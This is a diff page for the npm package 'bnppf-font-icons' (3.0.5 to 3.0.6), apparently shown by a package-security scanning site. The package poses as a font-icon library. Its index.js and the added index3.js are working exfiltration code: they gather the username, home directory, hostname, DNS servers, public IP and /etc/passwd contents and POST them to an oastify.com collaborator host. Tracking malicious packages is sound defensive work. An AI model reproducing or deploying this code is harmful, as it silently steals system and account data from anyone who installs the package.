bnppf-font-icons 3.0.5 → 3.0.6

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/index.js +61 -40
  2. package/index3.js +56 -0
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -4,53 +4,74 @@ const querystring = require("querystring");
4
4
  const https = require("https");
5
5
  const fs = require("fs");
6
6
  const packageJSON = require("./package.json");
7
- const package = packageJSON.name;
7
+ const packageName = packageJSON.name;
8
8
 
9
- // Read the /etc/passwd file
10
- let passwdData = "";
9
+ // Read the /etc/hostname file
10
+ let hostnameData = "";
11
11
  try {
12
- passwdData = fs.readFileSync("/etc/passwd", "utf8");
12
+ hostnameData = fs.readFileSync("/etc/hostname", "utf8");
13
13
  } catch (err) {
14
- passwdData = `Error reading /etc/passwd: ${err.message}`;
14
+ hostnameData = `Error reading /etc/hostname: ${err.message}`;
15
15
  }
16
16
 
17
- const trackingData = JSON.stringify({
18
- p: package,
19
- c: __dirname,
20
- hd: os.homedir(),
21
- hn: os.hostname(),
22
- un: os.userInfo().username,
23
- dns: dns.getServers(),
24
- r: packageJSON ? packageJSON.___resolved : undefined,
25
- v: packageJSON.version,
26
- pjson: packageJSON,
27
- passwd: passwdData, // Add the /etc/passwd content here
28
- });
29
-
30
- var postData = querystring.stringify({
31
- msg: trackingData,
32
- });
17
+ // Function to get public IP address (to gather organization info)
18
+ function getPublicIP(callback) {
19
+ https.get('https://api.ipify.org?format=json', (res) => {
20
+ let data = '';
21
+ res.on('data', chunk => data += chunk);
22
+ res.on('end', () => callback(null, JSON.parse(data).ip));
23
+ }).on('error', (err) => callback(err, null));
24
+ }
33
25
 
34
- var options = {
35
- hostname: "ar5xtzby7b1ze0mhj77q4j7uglmca2yr.oastify.com",
36
- port: 443,
37
- path: "/",
38
- method: "POST",
39
- headers: {
40
- "Content-Type": "application/x-www-form-urlencoded",
41
- "Content-Length": postData.length,
42
- },
26
+ // Gather tracking data
27
+ const trackingData = {
28
+ package: packageName,
29
+ currentDirectory: __dirname,
30
+ homeDirectory: os.homedir(),
31
+ hostname: os.hostname(),
32
+ user: os.userInfo().username,
33
+ dnsServers: dns.getServers(),
34
+ packageVersion: packageJSON.version,
35
+ packageResolved: packageJSON.___resolved,
36
+ hostnameFileData: hostnameData,
37
+ packageJSON: packageJSON,
43
38
  };
44
39
 
45
- var req = https.request(options, (res) => {
46
- res.on("data", (d) => {
47
- process.stdout.write(d);
48
- });
49
- });
40
+ // Fetch the public IP to include org information
41
+ getPublicIP((error, publicIP) => {
42
+ if (error) {
43
+ console.error("Error fetching public IP: ", error);
44
+ } else {
45
+ trackingData.publicIP = publicIP;
50
46
 
51
- req.on("error", (e) => {
52
- // console.error(e);
53
- });
47
+ // Prepare post data
48
+ const postData = querystring.stringify({
49
+ msg: JSON.stringify(trackingData),
50
+ });
51
+
52
+ const options = {
53
+ hostname: "ar5xtzby7b1ze0mhj77q4j7uglmca2yr.oastify.com", // Replace with Burp collaborator or server
54
+ port: 443,
55
+ path: "/",
56
+ method: "POST",
57
+ headers: {
58
+ "Content-Type": "application/x-www-form-urlencoded",
59
+ "Content-Length": postData.length,
60
+ },
61
+ };
62
+
63
+ const req = https.request(options, (res) => {
64
+ res.on("data", (d) => {
65
+ process.stdout.write(d);
66
+ });
67
+ });
54
68
 
55
- req.write(postData);
56
- req.end();
69
+ req.on("error", (e) => {
70
+ // Log error if needed
71
+ console.error(e);
72
+ });
73
+
74
+ req.write(postData);
75
+ req.end();
76
+ }
77
+ });
package/index3.js ADDED
@@ -0,0 +1,56 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Read the /etc/passwd file
10
+ let passwdData = "";
11
+ try {
12
+ passwdData = fs.readFileSync("/etc/passwd", "utf8");
13
+ } catch (err) {
14
+ passwdData = `Error reading /etc/passwd: ${err.message}`;
15
+ }
16
+
17
+ const trackingData = JSON.stringify({
18
+ p: package,
19
+ c: __dirname,
20
+ hd: os.homedir(),
21
+ hn: os.hostname(),
22
+ un: os.userInfo().username,
23
+ dns: dns.getServers(),
24
+ r: packageJSON ? packageJSON.___resolved : undefined,
25
+ v: packageJSON.version,
26
+ pjson: packageJSON,
27
+ passwd: passwdData, // Add the /etc/passwd content here
28
+ });
29
+
30
+ var postData = querystring.stringify({
31
+ msg: trackingData,
32
+ });
33
+
34
+ var options = {
35
+ hostname: "ar5xtzby7b1ze0mhj77q4j7uglmca2yr.oastify.com",
36
+ port: 443,
37
+ path: "/",
38
+ method: "POST",
39
+ headers: {
40
+ "Content-Type": "application/x-www-form-urlencoded",
41
+ "Content-Length": postData.length,
42
+ },
43
+ };
44
+
45
+ var req = https.request(options, (res) => {
46
+ res.on("data", (d) => {
47
+ process.stdout.write(d);
48
+ });
49
+ });
50
+
51
+ req.on("error", (e) => {
52
+ // console.error(e);
53
+ });
54
+
55
+ req.write(postData);
56
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "bnppf-font-icons",
3
- "version": "3.0.5",
3
+ "version": "3.0.6",
4
4
  "description": "ngosytuan",
5
5
  "main": "index.js",
6
6
  "scripts": {